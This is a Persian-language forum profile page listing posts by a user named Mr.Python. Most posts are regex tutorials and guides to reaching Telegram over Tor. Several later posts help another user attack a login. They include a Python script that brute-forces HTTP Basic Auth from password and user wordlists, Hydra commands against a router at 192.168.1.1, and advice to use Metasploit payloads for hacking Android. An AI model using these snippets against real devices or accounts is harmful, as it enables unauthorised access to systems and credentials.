رفتن به مطلب
بازگشایی انجمن! ×
GuardIran

Mr.Python

کد نویس
  • ارسال ها

    529
  • تاریخ عضویت

  • آخرین بازدید

  • روز های برد

    82

تمامی موارد ارسال شده توسط Mr.Python

  1. ربجکس مربوط به فضاهای خالی یک رشته . نماد این ریجکس s\ هست . این ریجکس به فضای موجود تو رشته اشاره میکنه . هر ریجکس s\ به یک کاراکتر غیر قابل چاپ مانند t\ یا r\ یا n\ اشاره میکنه. یعنی اگر شما از یک ریجکس s\ استفاده کنید به هر سه اینا اشاره میکنه . حتی جاهایی از رشته که یک SPACE بین کلمات یا حروفش هست با این ریجکس مشخص میشه. دقت کنید فضای خالی منظور همون n\ یا r\ یا t\ یا SPACE هست. مثال: chapter: two. رشته بالارو یه نگاه بندازید . و تحلیلش کنید . خط اول نوشته chapter و یک کاراکتر کالن هم داره یعنی (:) دو نقطه. خط بعدیش خالیه و یک فضای خالی به شمار میاد. خط سوم کلمه two نوشته شده که انتهاش نقطه قرار داره . پس تا اینجا فهمیدیم که یک جای خالی وجود داره که همون خط دوم به حساب میاد. برنامه نویسان عزیز میدونن که رشته بالا رو اگر بخوان دو یک خط بنویسن اینطوری میشه: chapter:\n\ntwo. خب ببینید ما گفتیم هر ریجکس s\ به یک کاراکتر غیر قابل چاپ مثل t\ یا r\ یا n\ اشاره میکنه . الان اینجا دو تا n\ داریم پس طبیعتا باید دو عدد s\ بکار ببریم اما اگر درس های قبلی رو خوب خونده باشید اون نکته ای که گفتم راجب علامت + برای هر ریجکسی قابل استفاده است . و همانطور که گفتم برای اینکه از تکرار نوشتن یک ریجکس خودداری کنید میتونید در انتهای اون ریجکس علامت + رو قرار بدید. سوال از ما میخواد کلمه two به همراه علامت نقطه . رو از رشته بکشیم بیرون . پس با توجه به توضیحات بالا دو روش رو مینویسم : chapter:\n\ntwo. ==> chapter:\s\s(.*\.) ==> two. دقت کنید که چون خود نقطه رو هم خواسته باید قبلش بک اسلش قرار بدیم (قبلا گفتم برای اینکه علامت ها توی رشته به عنوان ریجکس خوانده نشن باید قبلشون بک اسلش قرار بدیم) برای همین نوشتم : .\ دلیل اینکه از پرانتز هم استفاده کردم این هست که خواستم فقط اون تیکه از رشته رو به ما برگردونه و نشون بده نه بقیشو که اینم قبلا توضیح دادم. در مورد ریجکس *. هم قبلا توضیح دادم که به تمام کاراکتر های موجود اشاره میکنه. خب روش دوم : chapter:\n\ntwo. ==> chapter:\s+(.*\.) ==> two. که مشخصه همه چی و قبلا توضیح دادم . اینبار از علامت + استفاده کردم برای جلوگیری از تکرار ریجکس. حتی میتونیم به شکل زیر هم بنویسیم: chapter:\n\ntwo. ==> chapter:\s*(.*\.) ==> two. اینبار از علامت * به جای + استفاده کردم که در درس قبلی به خوبی اشنا شدید . * یعنی اون ریجکس یا کاراکتر وجودش الزامی نیست . به عنوان مثال در رشته بالا حتی اگر هیچ فضای خالی موجود نباشه هم مقدار .two برگردونده میشه. chapter:two. ==> chapter:\s*(.*\.) ==> two. اما اگر هیچ فضای خالی در اون قسمت رشته وجود نداشته باشه و بخوایم از +s\‌استفاده کنیم در جواب به ما هیچی نخواهد داد None. دلیلشم تو درس قبل توضیح دادیم چون +s\ یعنی حداقل یک عدد s\ یا فضای خالی وجود داشته باشه . chapter:two. ==> chapter:\s+(.*\.) ==> None با توجه به ریجکس هایی که خوندید میشه به چندین روش دیگر هم برای این سوال جواب نوشت مثل : chapter:two. ==> \w+:\s*(.*\.) ==> two. chapter:two. ==> ch\w*:\s*(.*\.) ==> two. chapter:two. ==> c.*:\s*(.*\.) ==> two. chapter:two. ==> .*\s*(.*\.) ==> two. and ... سوال : ریجکسی مناسب بنویسید که فقط سه رشته اول را در نظر بگیرد (همچنین خود اعداد هم جزو ریجکس به شمار برود): 1. abc 2. abc 3. abc 4.abc جواب : \d+\.\s+abc یا : \d*\.\s+abc یا : \d+\.\s*abc یا: \d+\.\s+.* و غیره. نکته : اگر در ریجکس s\ از حرف بزرگ s استفاده کنیم یعنی S\ اونوقت این ریجکس به تمام کاراکتر ها (اعم از اعداد - حروف - نماد ها و سیمبل ها) اشاره میکنه به جز فضاهای خالی . بطور کلی : s\ : برای فضاهای خالی مثل خط بعد - یا SPACE ها . S\ : برای تمام کاراکتر ها به جز فضاهای خالی
  2. ریجکس ? یا علامت سوال . وقتی بخوایم یک کاراکتر تو رشته رو به عنوان یک کاراکتر اختیاری در نظر بگیریم از این ریجکس استفاده میکنیم. به این شکل که اگر شما بعد از کاراکتر مورد نظرتون از این علامت یعنی ? استفاده کنید اون کاراکتر مورد نظر یک کاراکتر اختیاری هست یعنی وجودش نیازی نیست . یعنی مثلا : ab?c به کلمات ac یا abc هم اشاره میکنه . پس یعنی اضافه کردن علامت ? بعد از حرف b - باعث شده که b یک حرف اختیاری به حساب بیاد یعنی چه باشه چه نباشه . سوال : میخوایم ریجکسی بنویسیم که سه رشته اول رو در نظر بگیره اما رشته اخر رو نادید بگیره : 1 file found? 2 files found? 24 files found? No files found. خب بریم سراغ انالیز رشته ها : هر سه رشته یک عدد دارند (1 و 2 24) کلمه file در هر سه رشته کلمه میانی هست و وجود داره اما تو رشته اول نوشته شده file و تو رشته های دوم و سوم نوشته شده files که تفاوت تو این هست که رشته دوم و سوم s داره اما اولی نداره . کلمه found به همراه خود علامت سوال ? هم تو هر رشته وجود داره. خب پس ما میتونیم ریجکس رو به این صورت بنویسیم: \d+ files? found از اونجایی که یک عدد تو اول هر سه رشته وجود داره مینویسیم +d\ که میدونید معنیش چی میشه. خب اگر دقت کنید بعد از کلمه files علامت سوال گذاشتیم و همانطور که گفتیم اضافه کردن این علامت به یک حرف باعث میشه اون حرف وجودش اختیاری باشه . الان چون رشته اولی s نداره پس نمیتونیم بنویسیم : \d+ files found چون در اینصورت رشته اولی نادید گرفته میشه که نباید بشه یعنی صورت سوال از ما خواسته رشته اول دوم و سوم رو در نظر بگیریم . پس یک علامت سوال به s موجود در کلمه files میچسبونیم که بفهمونیم وجوود حرف s الزامی نیست. خروجی این میشه: \d+ files? found ==> ["1 file found", "2 files found", "24 files found"] اگر دقت کنید میبینید که علامت سوال که در پایان کلمه found وجود داره رو برامون نشون نداده چرا؟ نکته پایین رو بخونید. اگر میخواید خود علامت سوال رو از رشته بکشید بیرون کافیه یک بک اسلش پشتش قرار بدید یعنی: how are you? ==> how are you\? ==> how are you? اما how are you? ==> how are you? ==> how are you تو دومین مثال من بک اسلش قرار ندادم و توی خروجی برام علامت سوال رو نشون نداد . پس برای اینکه این علامت به عنوان یک ریجکس در نظر گرفته نشه باید پشتش بک اسلش قرار بدیم. پس با این حال میتونیم بنویسیم: \d+ files? found\? ==> ["1 file found?", "2 files found?", "24 files found?"] مثالی دیگر: check these two sites : [Hidden Content] [Hidden Content] (https?://.*\.org) ==> ["[Hidden Content]", "[Hidden Content]"]
  3. ریجکس * و + ( قبلا در مورد این ترکیب این ریجکس با ریجکس نقطه (.) اشنا شدیم تو این درس مثال بیشتری میزنیم و توضیح میدیم). بخوام خلاصه بگم : ریجکس * یعنی تکرار صفر یا بیشتر Zero or more repetitions . زمانی بکار میره که بخواین یک ریجکس یا کاراکتر تکرار شده یا نشده باشه . و ریجکس + میشهone or more repetitions یعنی حداقل یکبار تکرار ولی ریجکس * یعنی حداقل هیچی تکرار (Zero) . وقتی از ریجکس + در ترکیب با یک کاراکتر استفاده میکنیم اون کاراکتر حتما باید یکبار در رشته وجود داشته باشد در غیر اینصورت اگر موجود نباشد این ریجکس قابل استفاده نیست اما در مقابل اگر از ریجکس * استفاده کنیم و با این حال باز هم در رشته اون کاراکتر مورد نظر موجود نباشه ایندفعه در نظر گرفته میشه و قابل استفاده است . مثلا : میخوایم از رشته های زیر سه رشته اول رو فقط a هاشون رو در نظر بگیریم و رشته اخر رو کلا در نظر نگیریم . با توجه به اموخته های درس های قبل میتوان به چندین روش مدل سازی کرد : aaaabcc aabbbbc aacc a اولین روش با توجه به درس امروز: aa+b*c+ دقت کنید که نوشتن +a اشتباه است زیرا رشته چهارم نیز شامل این ریجکس میشود که سوال از ما خواسته رشته چهارم را در نظر نگیریم. دومین روش با توجه به درس های قبلی (آکولاد): a{2,4}b*c* اگر دقت کنید علامت + جلوی b وجود نداره چرا؟ سوال از ما خواسته رشته سوم رو هم در نظر بگیریم اما چون تو رشته سوم اصلا b وجود نداره یعنی صفر zero پس باید از علامت * استفاده کنیم . اگر از علامت + استفاده کنیم به این معنی هست که حداقل یک عدد b وجود داشته باشد . در صورتی که در رشته سوم هیچ b‌وجود ندارد. یا همین دو روش دوباره مدل های مختلفی داره: a{2,4}b{0,4}c{1,2} یا : a{2,4}b{0,4}c+ پس میشه به چندین روش برای اینگونه رشته ها ریجکس نوشت . مثال های بیشتر : aabncccddl ==> aab+nc* ==> aabnccc aabnddl ==> aab+nc* ==> aabn aabnddl ==> aab+nc+ ==> None aabnddl ==> aa.* ==> aabnddl mr.python is here ==> m*r.python ==> mr.python mr.python is here ==> F*mr.python ==> mr.python دقت کنید تو مثال دوم هیچ c وجود نداره برا همین از * استفاده کردیم و باعث شد بقیه رشته رو به ما برگدونه یعنی aabn اما تو مثال سوم بجای * از + استفاده کردیم و چون به این معنی هست که حداقل یک عدد c تو رشته باید وجود داشته باشه - پس در جواب به ما None رو میده که یعنی هیچ چیزی با این مشخصات match نمیشه (همخونی نداره).
  4. فکر میکنم به زبان ویژوال بیسیک اسکریپت نوشته شده VB Script . حالا دقیقا میخواید بروت فورس رو روی چی انجام بدید ؟
  5. ریجکس W\ اینبار حرف w بزرگ نوشته میشود. این ریجکس برای تمام پیدا کردن تمام کاراکتر ها به جز الفبای انگلیسی و اعداد و آندرلاین (ـ) کاربرد دارد. حتی جاهای خالی هم در نظر میگیرد. مثال: mr.python from guardiran_org number 123 ==> \W ==> ['.', ' ', ' ', ' ', ' '] mr.python from guardiran_org number 123 ==> \W\d+ ==> [' 123'] mr.python from guardiran_org number 123 ##%$ ==> \W ==> ['.', ' ', ' ', ' ', ' ', ' ', '#', '#', '%', '$'] اگر به مثال بالا دقت کنید متوجه میشید که جاهای خالی موجود در رشته با ریجکس W\ مشخص میشود . در مثال دوم در جواب یک فضای خالی وجود دارد یعنی قبل از عدد 123 یک فضای خالی گذاشته . به این دلیل که از ریجکس W\ قبل از d\ استفاده کرده ایم. برای یاد آوری مباحث گذشته بهتر هست که تمرین کنید. مثال ها و توضیحاتی از درس گذشته مربوط به مبحث استفاده از آکولاد در ریجکس ها: گفتیم که آکولاد ها برای تکرار بکار میرن که اگر در ریجکسی ازشون استفاده بشه اون ریجکس چند بار تکرار میشه . مثلا از بین کلمات زیر میخواهیم دو کلمه اول را بگیریم اما کلمه اخر را در نظر نگیریم: wazzzzzup wazzzup wazup اگه دقت کنید کلمه wa تو هر سه کلمه دیده میشه همچنین کلمه up هم در انتهای هر سه کلمه وجود داره اما تفاوت ها کجان ؟ تو کلمه اول پنج تا z و تو کلمه دوم سه تا z و تو کلمه آخر یک z وجود دارد . ببینید دقیقا باید تفاوت ها و شباهت هارو دربیارید تا بتونید یک ریجکس مناسب بنویسید . همیشه همینکارو بکنید و روی رشته ها آنالیز و تحلیل کنید . پس ریجکس طبق توضیحاتی که تو درس های گذشته خوندیم میشه: waz{3,5}up باز هم دقت کنید که {3,5} یعنی در حداقل 3 و حداکثر 5 عدد و وقتی این عبارت به یک ریجکس یا کاراکتر بچسبه اون کاراکتر یا ریجکس تکرار میشه . z{3,5} ==> zzz یا zzzz یا zzzzz
  6. گفتم اول از هر چیز باید به یک زبان برنامه نویسی مسلط باشید . مثلا PHP یا Python یا Perl شما اول بگید کدوم زبان رو کار کردید و بلدید تا من به شما مقاله بدم . اگه برنامه نویسی بلد نیستید که باید حتما یاد بگیرید .
  7. ورژن جدید اسکریپت TorRunner v1.0.1 | بدون فیلتر شکن از اینترنت استفاده کنید ! فوروارد ساکس ورژن 5 Socks به یک آدرس پروکسی با ساپورت HTTP با استفاده از دستور زیر : TorRunner -pt 127.0.0.2:4545 یا TorRunner --proxy-tunnel 127.0.0.2:4545 یا TorRunner -pt 4545 با اضافه شدن این آپشن به راحتی میتونید تو تنظیمات پروکسی سیستم یا تنظیمات پروکسی مرورگر دلخواهتون آدرس پروکسی رو وارد کرده و بدون فیلتر شکن از اینترنت استفاده کنید.
  8. برای استفاده از Telegram Desktop که همون ورژن کامپیوتری تلگرام هست میتونید از شبکه تور Tor استفاده کنید. مزیتش چیه؟ دیگه نیازی نیست دنبال فیلتر شکن و پروکسی باشید همیشه آنلاینید با بهترین سرعت . به نقل از ویکی پدیا: تور (به انگلیسی: Tor) سامانه‌ای است که برای ناشناسی (ناشناس ماندن) کاربران در محیط اینترنت به کار می‌رود و از نرم‌افزار کارخواه و شبکه‌ای از سرویس دهنده‌ها (سرورها) تشکیل شده و می‌تواند داده‌هایی از کاربران را مانند جایگاه و نشانی پروتکل اینترنت پنهان کند. بهره‌گیری از این سامانه ردگیری و شنود داده‌های کاربر را به دست دیگران بسیار سخت می‌کند. این ردگیری و شنود می‌تواند در مورد بسیاری از فعالیت‌های کاربر مثل وبگاه‌هایی که بازدید کرده، پرونده‌هایی که بارگیری و بارگذاری کرده، پیامهایی که از طریق نرم‌افزارهای پیام‌رسان ارسال یا دریافت کرده و هر گونه ارتباطاتی که در محیط اینترنت برقرار کرده، صورت پذیرد لذا می‌توان گفت که این سیستم برای محافظت از آزادی کاربران و حفظ حریم خصوصی آن‌ها در محیط اینترنت طراحی شده‌است. این نرم‌افزار، یک نرم‌افزار آزاد است و استفاده از شبکهٔ آن نیز رایگان است. برای راه اندازی تور میتونید به تایپیک زیر مراجعه کنید : خب حالا میریم سر یک آموزش مختصر : 1) ابتدا فایل نصبی تور رو که تو تایپیکی که بالا گفتم دانلود و نصب کنید . 2) فایل Start Tor Browser رو باز کنید و روی Connect کلیک کنید . (اگر اروری دریافت کردید یا کانکت نشد یا ازتون خواست Restart کنید اهمیت ندید ) 3) بعد از اجرای فایل آنرا ببندید . 4) فایل tor.exe موجود در "Tor Browser\Browser\TorBrowser\Tor" رو در محل Path متغیر های سیستم قرار بدید (Environment Variables) 5) از اسکریپت TorRunner که در تایپیک بالا قرار داده شده استفاده کنید . اسکریپت را دانلود کرده و آنرا اجرا کنید . 6) تلگرامتونو باز کنید و به Proxy Setting برید و گزینه ADD Proxy رو بزنید و گزینه SOCKS5 رو انتخاب کنید . 7) در قسمت Hostname آدرس هاست تور رو بدید (به طور پیشفرض : 127.0.0.1) و در قسمت Port شماره پورت ساکس رو بدید (پیشفرض : 9150) 8 ) روی Save کلیک کنید و به پروکسی متصل بشید . با انجام مراحل بالا شما دیگه نیازی نیست برای اتصال به تلگرام از پروکسی های متعدد و فیلتر شکن های دیگه استفاده کنید . همیشه آنلاین خواهید بود . نکته: در هربار که سیستم رو خاموش و روشن میکنید کافیه فقط مرحله 5 رو انجام بدید یعنی فقط اسکریپت رو اجرا کنید .
  9. با سلام برای طراحی انواع ربات تلگرام میتوانید با ای دی زیر در تماس باشید : @mojiflip آپلود و اجرا و ساخت ربات و تهیه سرور و پشتیبانی توسط ما انجام میشود .
  10. اسکریپت راهنما و کنترل سرویس Tor . مخصوص ویندوز . امکانات : راهنمای استفاده و نصب تور - کنترل و تنظیم شبکه تور - نمایش مشخصات پروسه تور در ویندوز (نام و session و pid و مقدار مصرف مموری ) - اجرا به عنوان nt-service - تنظیم و اجرای پورت ها و هاست ها هم به صورت اتوماتیک هم دستی) - نمایش پروسه و اطلاعات تکمیلی اتصال های تور . دستور زیر را در محیط command prompt وارد کنید: TorProject --help یا TorProject -h اتصال با مقادیر پیش فرض : TorProject نمایش ورژن تور : TorProject --version اطلاعات پروسه تور : TorProject --info قطع اتصال و بستن تور : TorProject --kill اتصال با مقادیر کاربر و به صورت دستی: TorProject -cp 9151 -sp 9150 --nt-service --host 127.0.0.1
  11. آخرین پارت ها. [guardiran.org]tor-browser.part08.rar [guardiran.org]tor-browser.part09.rar [guardiran.org]tor-browser.part10.rar [guardiran.org]tor-browser.part11.rar
  12. پارت های 4 تا 7. [guardiran.org]tor-browser.part04.rar [guardiran.org]tor-browser.part05.rar [guardiran.org]tor-browser.part06.rar [guardiran.org]tor-browser.part07.rar
  13. Mr.Python

    راه انداز شبکه تور | Tor service bundle

    جدیدترین Bundle نرم افزار اجرا کننده شبکه تور Tor Network برای ویندوز . رمز : guardiran.org فایل نصبی حدود 52 مگابایت حجم دارد با توجه به محدودیت حجم آپلود در انجمن ادامه پارت ها در پست های بعدی قرار میگیرد.(11 پارت) هر گونه سوال درباره اجرای نحوه اجرا و استفاده از شبکه تور تو ویندوز داشتید در بخش سوال و جواب های عمومی بپرسید. [guardiran.org]tor-browser.part01.rar [guardiran.org]tor-browser.part02.rar [guardiran.org]tor-browser.part03.rar
  14. معرفی کردم تو پست قبلی 😐
  15. پورت از طریق خود مودمتون باز بشه و باید از نوعTCP باشه نه UDP من این شکل پورت باز کردن با نرم افزار رو اطلاعی ندارم . استفاده از payload های ابزار متااسپلویت Metasploit به نظرم معقول تر هست تا Androrat که دیگه قدیمی شده . لینک دانلود نسخه ویندوزی این ابزار: دانلود بعد از نصب وارد پوشه metasploit-framework در درایو سی C بشید و وارد پوشه bin شده یک command prompt باز کنید (دکمه ی Shift + f10 سپس گزینه open command window here ) سپس دستور زیر را وارد کنید(نحوه انکود نرم افزار با انکود command prompt فرق میکنه با اینکار انکود نرم افزار رو به command prompt میشناسونیم ) chcp 1252 و بعد با دستور زیر میتونید ابزار رو اجرا کنید: msfconsole اموزش های این ابزار برای هک سیستم و اندروید تو انجمن موجود هست. همچنین اموزش بایند کردن فایل های اندرویدی.
  16. من هیدرا رو توی ویندوز نصب کردم در هر صورت نباید این ابزار توی دو سیستم عامل مختلف خروجی مختلفی بده . نمیدونم شاید مشکل از خود ابزاره و اپدیت نبودن یا ...
  17. import requests passw = open('pass.txt', 'r').readlines() userw = open('users.txt', 'r').readlines() for user in userw: for pwd in passw: user = user.replace('\n','') pwd = pwd.replace('\n','') code = requests.get('[Hidden Content]', auth=(user, pwd)).status_code if code== 200: print(' Password Found : %s | Username : %s'%(user, pwd)) break else: print('Authenticated Failed | username : %s | password : %s'%(user, pwd)) اگر بخواید میتونید پایتون رو نصب کنید و از کد بالا استفاده کنید . جای pass.txt مسیر پسورد لیست و جای users مسیر یوزر لیست. جای آی پی و پورت هم میتونید آی پی و پورت رو قرار بدید.
  18. یکبار رمز رو اشتباه بزنید و ببینید url چی مینویسه همونو قرار بدید تو دستور و تست کنید مثلا من رمز رو اشتباه میزنم url‌ مروگرم میشه [Hidden Content] پس دستور میشه: hydra -l username -p password 192.168.1.1 http-get /error.html
  19. من اصلا نمیدونم تارگت شما redirect میکنه رو کدوم پورت - اگه همه درخواستای آی پی به یه پورت ارسال بشن ممکنه جواب بده و من هم گفتم: خیلی از مودم و روتر ها با این احراز هویت Ftp رو هم قبول میکنن نه همش تست هم شده - شما هم تست کن شاید شانست به یه همچین روتری خورده اگه نشده که مجبورید تو منابع خارجی دنبال سوالتون بگردید.
  20. به این نوع احراز هویت ها www-authenticated میگن .(HTTP Basic Auth) فکر میکنم بتونید بجای get از ftp استفاده کنید (خیلی از مودم و روتر ها با این احراز هویت Ftp رو هم قبول میکنن): hydra -l admin -P pass.txt 192.168.1.1 ftp /
  21. خیلی راحت کار کرد . به جای آی پی میتونید خود Host رو هم قرار بدید.
  22. Mr.Python

    port forwarding

    پروتکل باید tcp باشه remote host هم باید ای پی local خودتون باشه . هر 4 فیلد EXternal & Internal هم باید پورت انتخابی شما باشه خیلی کار ساده ایه .
  23. همون دستوری رو که گفتم وارد کنین بدون هیچ مشکلی میاره شما درخواستتون GET هست ولی اکثر url هایی که پسورد و یوزر میخوان POST‌ هستن یا ftp ای پی رو به همراه پورت + سایت + پارامتر های ورودی + یوزرنیم و پسورد درست رو بفرستید اگر وقت داشتم چشم
  24. امکان نداره کار نکنه . مشکل از جای دیگست نه از ابزار و دستور
×
×
  • ایجاد مورد جدید...